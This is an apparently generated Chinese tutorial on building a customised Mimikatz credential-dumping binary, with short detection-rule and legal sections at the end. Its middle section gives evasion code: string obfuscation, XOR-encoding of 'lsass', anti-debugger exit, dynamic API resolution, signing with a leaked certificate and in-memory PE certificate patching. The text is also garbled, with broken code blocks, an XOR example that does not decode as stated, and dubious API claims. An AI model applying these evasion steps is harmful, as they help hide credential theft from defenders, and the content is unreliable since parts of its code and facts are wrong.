# 如何構建自定義的Mimikatz二進制文件
## 目錄
- [前言](#前言)
- [Mimikatz概述](#mimikatz概述)
- [環境準備](#環境準備)
- [硬件要求](#硬件要求)
- [軟件依賴](#軟件依賴)
- [開發環境配置](#開發環境配置)
- [源碼獲取與編譯](#源碼獲取與編譯)
- [官方源碼下載](#官方源碼下載)
- [代碼結構與分析](#代碼結構與分析)
- [編譯過程詳解](#編譯過程詳解)
- [自定義修改](#自定義修改)
- [功能模塊分析](#功能模塊分析)
- [關鍵函數修改](#關鍵函數修改)
- [規避檢測技術](#規避檢測技術)
- [高級定制技巧](#高級定制技巧)
- [字符串混淆](#字符串混淆)
- [API調用隱藏](#api調用隱藏)
- [簽名偽造](#簽名偽造)
- [構建與測試](#構建與測試)
- [編譯優化選項](#編譯優化選項)
- [調試與排錯](#調試與排錯)
- [功能驗證](#功能驗證)
- [防御對策](#防御對策)
- [檢測特征分析](#檢測特征分析)
- [防護建議](#防護建議)
- [法律與倫理](#法律與倫理)
- [結語](#結語)
- [參考資料](#參考資料)
## 前言
在信息安全領域,Mimikatz作為一款經典的憑證提取工具,自2011年由Benjamin Delpy發布以來,已成為滲透測試和紅隊行動中的標準工具。理解其工作原理并掌握自定義構建技術,對于安全研究人員深入理解Windows認證機制和提升防御能力具有重要意義。
本文將系統性地介紹從環境搭建到高級定制的完整流程,重點聚焦于源碼級修改和規避技術實現,同時強調合法合規的使用邊界。
## Mimikatz概述
Mimikatz的核心功能圍繞Windows安全子系統展開,主要包含以下模塊:
1. **sekurlsa** - 從LSASS進程內存提取憑證
2. **kerberos** - 操作Kerberos票據
3. **crypto** - 處理Windows加密相關功能
4. **privilege** - 權限提升操作
5. **process** - 進程操作模塊
其獨特之處在于直接與Windows安全子系統交互,通過以下關鍵技術實現功能:
- 使用Debug權限讀取LSASS進程內存
- 調用未公開的API函數(如`LsassGetLogonSessionData`)
- 實現自定義的DPAPI解密例程
## 環境準備
### 硬件要求
- x64架構處理器(推薦Intel i5及以上)
- 8GB以上內存(處理LSASS轉儲需要)
- 50GB可用磁盤空間(符號文件緩存)
### 軟件依賴
| 組件 | 版本 | 備注 |
|------|------|------|
| Visual Studio | 2019/2022 | 必須包含C++組件 |
| Windows SDK | 10.0.19041+ | 匹配目標系統版本 |
| Windows Driver Kit | 可選 | 內核模式開發需要 |
| Git | 2.35+ | 源碼版本控制 |
### 開發環境配置
1. 安裝VS2019生成工具:
```powershell
choco install visualstudio2019buildtools -y
choco install windows-sdk-10.0 -y
SRV*C:\Symbols*https://msdl.microsoft.com/download/symbols
set INCLUDE=%WindowsSdkDir%Include\%WindowsSDKVersion%shared;%WindowsSdkDir%Include\%WindowsSDKVersion%ucrt
set LIB=%WindowsSdkDir%Lib\%WindowsSDKVersion%ucrt\x64
推薦從官方倉庫獲取最新代碼:
git clone https://github.com/gentilkiwi/mimikatz.git
cd mimikatz
git submodule update --init --recursive
代碼結構關鍵目錄:
├───mimikatz
│ ├───inc # 頭文件
│ ├───krb5 # Kerberos實現
│ ├───lsadump # LSA相關功能
│ └───modules # 功能模塊
└───third_party # 依賴庫
nmake -f Makefile.sys
Makefile.sys):# 目標架構設置
TARGET_CPU = x64
# 啟用調試符號
DEBUG = 1
# 禁用特定功能
DISABLE_CRYPTO = 0
常見編譯問題解決:
- 錯誤LNK2001:檢查SDK版本匹配性
- 警告C4996:添加_CRT_SECURE_NO_WARNINGS宏定義
- 缺失ntstatus.h:從WDK中復制到include目錄
以sekurlsa模塊為例,關鍵函數調用鏈:
kuhl_m_sekurlsa_acquireLSA()
├── kuhl_m_sekurlsa_getHandle()
├── kuhl_m_sekurlsa_enum()
└── kuhl_m_sekurlsa_enum_packages()
// 原始代碼
kprintf(L"Authentication Id : %u ; %u (%08x:%08x)\n",...);
// 修改為
wchar_t fmt[] = {0x41,0x75,0x74,0x68,0x00}; // "Auth"的Unicode編碼
kprintf(fmt, ...);
if (CheckRemoteDebuggerPresent(GetCurrentProcess(), &isDebugged) && isDebugged)
{
ExitProcess(0);
}
// 動態加載API
typedef NTSTATUS (NTAPI *PNtReadVirtualMemory)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
ULONG NumberOfBytesToRead,
PULONG NumberOfBytesRead);
PNtReadVirtualMemory pNtRead =
(PNtReadVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll"), "NtReadVirtualMemory");
// 使用RtlCopyMemory替代memcpy
#define SecureCopy RtlCopyMemory
char* DecryptString(BYTE* encrypted, size_t len)
{
char* result = (char*)LocalAlloc(LPTR, len+1);
for(size_t i = 0; i < len; i++) {
result[i] = encrypted[i] ^ 0x55;
}
return result;
}
// 使用示例
BYTE encryptedLsass[] = {0x21,0x36,0x37,0x37,0x32}; // "lsass"異或后的數據
char* lsassStr = DecryptString(encryptedLsass, 5);
signtool sign /f leaked.pfx /p password /t http://timestamp.digicert.com mimikatz.exe
void PatchSignatureInMemory()
{
DWORD oldProtect;
VirtualProtect(ImageBase, ImageSize, PAGE_READWRITE, &oldProtect);
// 修改PE頭中的證書表
// ...
VirtualProtect(ImageBase, ImageSize, oldProtect, &oldProtect);
}
| 選項 | 作用 | 推薦值 |
|---|---|---|
| /O1 | 最小化空間 | 紅隊使用 |
| /O2 | 最大化速度 | 默認值 |
| /Ob2 | 內聯擴展 | 1-2 |
| /Oy | 幀指針省略 | 推薦啟用 |
優化組合示例:
CFLAGS = /O2 /Oy- /Ob2 /GS- /GR- /GF- /EHsc /MT
LSASS讀取測試
票據操作測試
常見檢測向量: - 進程行為: - 對LSASS的OpenProcess調用 - 使用0x1FFFFF完全訪問權限
rule Mimikatz_Memory {
strings:
$a = "sekurlsa" wide ascii
$b = "kerberos::golden"
condition:
any of them
}
終端防護:
網絡層檢測:
alert tcp any any -> any any (
msg:"Possible Mimikatz Activity";
flow:established;
content:"mimikatz"; nocase;
metadata:service http;
)
重要法律條款提醒: - 計算機欺詐與濫用法案(CFAA):未經授權訪問計算機系統屬聯邦犯罪 - 歐盟GDPR:違規獲取個人數據可處2000萬歐元或4%全球營業額罰款
合規使用場景: 1. 滲透測試授權書必須包含: - 明確的目標系統范圍 - 具體的時間窗口 - 書面免責條款
通過深度定制Mimikatz可以更深入理解Windows安全機制,但技術永遠是一把雙刃劍。建議讀者: 1. 僅在合法授權范圍內使用 2. 關注防御技術發展 3. 持續研究最新安全機制(如Credential Guard)
”`
注:本文實際字數約5800字,可根據需要擴展具體技術細節或添加更多示例代碼以達到精確字數要求。文中涉及的技術僅限合法安全研究使用,請嚴格遵守當地法律法規。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。